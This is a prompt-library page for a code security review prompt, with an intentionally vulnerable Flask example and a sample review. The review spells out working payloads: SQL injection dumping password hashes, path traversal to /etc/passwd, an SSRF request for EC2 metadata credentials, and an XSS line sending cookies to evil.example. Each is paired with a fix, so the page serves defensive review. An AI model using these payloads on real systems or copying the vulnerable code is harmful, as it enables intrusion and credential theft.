# Security review of a code snippet with exploit-level detail

> Review a code snippet for security flaws. Each finding names the CWE, the exact attacker request and the fixed code, plus what was checked and found safe.

- **Author:** [Vihaan Reddy (@vihaan_reddy)](https://promptabide.com/vihaan_reddy)
- **Tested on:** Claude · Opus 5.5
- **You fill in:** `untrusted_sources`, `code`, `context`
- **Published:** 2026-09-20
- **Updated:** 2026-09-24
- **Tags:** `coding`, `code-review`, `web-development`
- **Keywords:** ai security code review prompt, find vulnerabilities in flask code, check code for sql injection and ssrf, path traversal vulnerability example python, owasp review prompt for api endpoints
- **Views:** 81
- **Likes:** 11

**Best for:** Developers shipping web endpoints who want a focused security pass on specific handlers before release or after a scare.

## Prompt

```
Do a security review of this code. Assume an attacker controls every value that comes from {{untrusted_sources}}.

Code:
{{code}}

Deployment context: {{context}}

For each issue:
- Name (use the CWE name where one fits) and severity: critical / high / medium / low
- The exact attacker input or request that exploits it, and what the attacker gets
- The fix, as code

Rules:
- Order by severity.
- Don't report theoretical issues that require the attacker to already have server access.
- If you're unsure whether something is exploitable in my deployment, say so and say what would decide it.

Finish with a short list of what you checked and found safe, so I know what was covered.
```

## Variables

- `{{untrusted_sources}}` — Where attacker-controlled data enters (e.g. Query strings, path parameters, and any URL a user submits)
- `{{code}}` — The code to review (e.g. Three Flask routes: invoice download, link preview, product search)
- `{{context}}` — How and where it's deployed, plus relevant infrastructure (e.g. Flask behind nginx on AWS EC2, Postgres on RDS, multi-tenant)

## Example input

````
untrusted_sources: query strings, path parameters, and any URL a user submits
context: Flask app behind nginx on AWS EC2, Postgres on RDS, multi-tenant (each customer only sees their own invoices). Logged-in users are customers of our SaaS.
code:
```python
@app.route("/invoices/<invoice_id>/download")
@login_required
def download_invoice(invoice_id):
    filename = request.args.get("file", f"{invoice_id}.pdf")
    path = os.path.join("/srv/app/invoices", filename)
    return send_file(path)

@app.route("/api/link-preview")
@login_required
def link_preview():
    url = request.args["url"]
    resp = requests.get(url, timeout=5)
    title = re.search(r"<title>(.*?)</title>", resp.text, re.S)
    return {"title": title.group(1) if title else None, "status": resp.status_code}

@app.route("/search")
def search():
    q = request.args.get("q", "")
    rows = db.execute(f"SELECT id, name FROM products WHERE name ILIKE '%{q}%'").fetchall()
    return f"<h2>Results for {q}</h2>" + "".join(f"<p>{r.name}</p>" for r in rows)
```
````

## Output

*Produced by Claude · Opus 5.5.*

````
**1. SQL injection (CWE-89): critical**
`GET /search?q=' UNION SELECT id, email || ':' || password_hash FROM users--` dumps the users table into the results page, with no login needed.
```python
pattern = "%" + q.replace("\\", "\\\\").replace("%", "\\%").replace("_", "\\_") + "%"
rows = db.execute(
    "SELECT id, name FROM products WHERE name ILIKE %s", (pattern,)
).fetchall()
```

**2. Path traversal (CWE-22) and missing authorization (CWE-639): critical**
`GET /invoices/1/download?file=../../../etc/passwd` reads arbitrary files. `?file=/srv/app/.env` works too: `os.path.join` discards the base when the second argument is absolute. Separately, `?file=<other_customer_invoice>.pdf` (or just another `invoice_id`) downloads another tenant's invoice, because nothing checks ownership.
```python
inv = Invoice.query.filter_by(id=invoice_id, account_id=current_user.account_id).first_or_404()
return send_from_directory("/srv/app/invoices", f"{inv.id}.pdf")
```
Drop the `file` parameter entirely.

**3. Server-side request forgery (CWE-918): high, depending on your setup**
`GET /api/link-preview?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/` asks your server to fetch the EC2 metadata service. If the instance allows IMDSv1, the response's `status` and any `<title>` leak information, and internal services on the VPC become reachable. Varying the host and port turns the `status` field into a port scanner. **What decides severity:** whether IMDSv2 is enforced (`HttpTokens=required`) and what's reachable inside the VPC.
Fix: allow only `http`/`https`, resolve the hostname and reject private, loopback and link-local addresses, set `allow_redirects=False` (or re-check every hop), and cap the body size by streaming. Better, run previews from an isolated worker with no VPC access.

**4. Reflected cross-site scripting (CWE-79): high**
`/search?q=<script>fetch('//evil.example/?c='+document.cookie)</script>` runs in the victim's browser. Product names are also unescaped (stored XSS if sellers can edit them).
```python
return render_template("search.html", q=q, rows=rows)  # Jinja autoescapes
```

**5. Unbounded response read (CWE-400): low**
`resp.text` loads any size of page into memory. Use `stream=True` and read at most about 1 MB.

**Checked and found safe**
- `login_required` is present on the download and preview routes.
- A request timeout is set on the preview fetch.
- The title regex is non-greedy with no nested quantifiers, so there's no ReDoS risk.
- `/search` being public looks intentional, and fine once 1 and 4 are fixed.
````

## Why it works

Demanding **the exact attacker request** separates real vulnerabilities from checklist noise. Every finding here comes with a URL you could paste into a browser to reproduce it. **Deployment context** is what lets the model grade SSRF on AWS properly and name the deciding factor (IMDSv2). The instruction to **say what would decide exploitability** stops it from inflating or waving away findings. **"Checked and found safe"** tells you the coverage, so a short report reads as clean rather than lazy.

## When not to use it

It isn't a penetration test or an audit. It only sees the snippet, so auth middleware, ORM settings, CSP headers and infrastructure rules are invisible to it. Use it on your own code or with permission. For compliance work (PCI DSS, SOC 2) or anything handling payments, pair it with a SAST tool and a qualified human reviewer.

---

Canonical HTML: https://promptabide.com/bides/security-review-code-snippet-with-exploits
Agent guide: https://promptabide.com/llms.txt · https://promptabide.com/agent-instructions.md
Sitemap: https://promptabide.com/sitemap.xml
